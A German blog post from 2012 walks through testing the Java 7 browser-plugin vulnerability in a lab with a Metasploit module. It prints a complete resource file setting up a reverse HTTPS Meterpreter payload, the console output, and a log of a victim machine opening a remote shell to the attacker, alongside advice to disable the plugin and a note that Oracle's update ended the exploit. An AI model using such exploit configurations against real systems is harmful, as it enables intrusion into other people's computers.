Java 0 Day – Metasploit Modul

Die derzeitige Java Version 7  (Update 1-6) enthält eine Sicherheitslücke, die bereits gezielt im Focus der Angreifer liegt. Die Lücke erlaubt durch den Besuch von präparierten Webseiten, Schadcode auf den eigenen PC einzuschleusen und auszuführen. Betroffen sind alle 7 er Versionen von Java.
Wer das Java-Plug-in im Browser nicht nutzt, tut gut daran es auch bis zum Erscheinen eines Patches von Oracle nicht zu aktivieren.
Alle anderen Anwender sollten überlegen, das Plugin zeitweise oder auch für immer zu deaktivieren.
Rapid7 stellt eine Webseite zur Verfügung, wo jeder Anwender seine derzeitige Konfiguration prüfen kann.

Ein Metaspoilt-Modul steht seit dem 26.08.12 zur Verfügung.  Im Folgenden wird erläutert, wie man einen Test in einer gesicherten Laborumgebung durchführen kann. Als Angreifer wird Backtrack 5 R3 (IP: 192.168.222.16) genutzt. Der  Opfer-PC (IP: 192.168.222.77)  ist mit Windows XP und Chrome ausgestattet.

Schritt 1 –  Metasploit Resource-Datei ( java0day.rc)  mit einem Texteditor erstellen. Dabei die IP-Adresse des „Angreifers“ entsprechend anpassen:

use exploit/multi/browser/java_jre17_exec
set payload java/meterpreter/reverse_https
set srvhost 192.168.222.16
set srvport 80
set uripath /
set lhost 192.168.222.16
set lport 443
exploit


									

Schritt 2 – Resource-Datei in der Metasploit-Konsole ausführen

msf > resource /home/scripts/java0day.rc 
[*] Processing /home/scripts/java0day.rc for ERB directives.
resource (/home/scripts/java0day.rc)> use exploit/multi/browser/java_jre17_exec
resource (/home/scripts/java0day.rc)> set payload java/meterpreter/reverse_https
payload => java/meterpreter/reverse_https
resource (/home/scripts/java0day.rc)> set srvhost 192.168.222.16
srvhost => 192.168.222.16
resource (/home/scripts/java0day.rc)> set srvport 80
srvport => 80
resource (/home/scripts/java0day.rc)> set uripath /
uripath => /
resource (/home/scripts/java0day.rc)> set lhost 192.168.222.16
lhost => 192.168.222.16
resource (/home/scripts/java0day.rc)> set lport 443
lport => 443
resource (/home/scripts/java0day.rc)> exploit
[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://192.168.222.16:443/
[*] Using URL: http://192.168.222.16:80/
msf  exploit(java_jre17_exec) > [*] Server started.


									

Schritt 3 – Öffnet ein Anwender die angegebene URL (http://192.168.222.16)  am „Opfer-PC“ mit dem Browser Chrome, so wird die Schwachstelle ausgenutzt und eine (reverse) Meterpreter-Session zum „Angreifer“ eingerichtet.

In diesem Fall erhält der Angreifer Nutzerrechte auf dem System. Als nächsten Schritt würde er versuchen, die Rechte zu eskalieren bzw. weiter in das interne Netzwerk einzudringen (Pivoting).

[*] 192.168.222.77   java_jre17_exec - Java 7 Applet Remote Code Execution handling request
[*] 192.168.222.77   java_jre17_exec - Sending Applet.jar
[*] 192.168.222.77   java_jre17_exec - Sending Applet.jar
[*] 192.168.222.77:1706 Request received for /INITJM...
[*] Meterpreter session 1 opened (192.168.222.16:443 -> 192.168.222.77:1706) at 2012-08-28 17:56:42 +0200

msf  exploit(java_jre17_exec) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > execute -f cmd.exe -c -H
Process 1 created.
Channel 1 created.
meterpreter > interact 1
Interacting with channel 1...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:Dokumente und EinstellungenfrankLokale EinstellungenAnwendungsdatenGoogleChromeApplication16.0.912.75>
									

Weitere  Beispiele findet man dazu u.a. im Buch (Szenario 5.15) ab Seite 222.

Die Vorgehensweise ist hier nochmal im Video dargestellt:

[youtube YogKqpdkezw]

Hier ein Video mit Windows-Meterpreter-Payload:

[youtube kCeqTjhzq_A]

Update 30.08.2012: Oracle  hat heute überraschend eine neue Version (Java 7,  Update 7) herausgegeben.  Die derzeit verfügbaren Exploits sind nicht mehr funktionell.